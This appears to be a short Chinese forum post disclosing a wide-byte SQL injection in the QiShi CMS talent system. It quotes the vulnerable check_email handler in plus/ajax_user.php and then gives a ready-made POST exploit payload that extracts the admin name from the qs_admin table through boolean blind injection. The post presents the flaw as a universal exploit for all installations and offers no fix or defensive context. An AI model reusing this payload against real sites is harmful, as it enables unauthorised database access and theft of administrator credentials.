骑士cms人才系统 又一通杀

没金币了。求拉点。谢谢啦。 代码出现在 plus/ajax_user.php?act=check_email 具体代码如下 email出现宽字节 注入 127行开始 [php] elseif($act == 'check_email') { require_once(QISHI_ROOT_PATH.'include/fun_user.php'); $email=trim($_POST['email']);//此处问题 if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $email=iconv("utf-8",QISHI_DBCHARSET,$email); } $user=get_user_inemail($email); empty($user)?exit("true"):exit("false"); }[/php] exp: [php] http://0day5.com/plus/ajax_user.php?act=check_email post:email=s%e9%8c%a6' or cast(ascii(substring((select admin_name from qs_admin),2,1))>100 as signed) %23[/php]

发表评论